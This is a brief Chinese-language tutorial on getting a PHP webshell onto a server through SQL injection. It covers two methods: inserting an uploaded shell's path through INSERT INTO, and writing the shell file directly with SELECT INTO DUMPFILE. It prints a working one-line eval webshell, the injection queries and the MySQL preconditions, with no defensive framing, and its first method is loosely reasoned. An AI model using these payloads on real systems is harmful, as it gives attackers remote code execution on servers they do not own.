一、INSERT INTO基于数据写入的SQL注入
1.1、条件
1、Web应用提供上传文件功能,用户上传的文件路径会存储在数据库中
2、数据库内容可影响Web资源访问路径
3、用户有写的权限
1.2、示例
首先我们上传一个shell.php到web应用中,其内容为<?php @eval($_POST['cmd']); ?>
然后通过SQL注入:
-- 恶意注入
INSERT INTO uploads (file_path) VALUES ('/var/www/html/shell.php'); -- 写入Webshell路径
访问 http://target.com/shell.php
后,通过POST方式传入 cmd
参数,即可执行恶意PHP代码。
二、SELECT INTO DUMPFILE基于备份与还原的SQL注入
1.1、条件
1、开启file权限(默认不开放)
2、Web服务器用户需有写权限
3、secure_file_priv为空(默认为NULL,NULL不是空)
1.2、示例
-- 正常查询
SELECT data FROM users WHERE id=1;
-- 恶意注入
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';
补充:与into outfile不同,into dumpfile直接写入文件,没有任何格式化处理,而into outfile会自动添加换行符、制表符,会破坏webshell。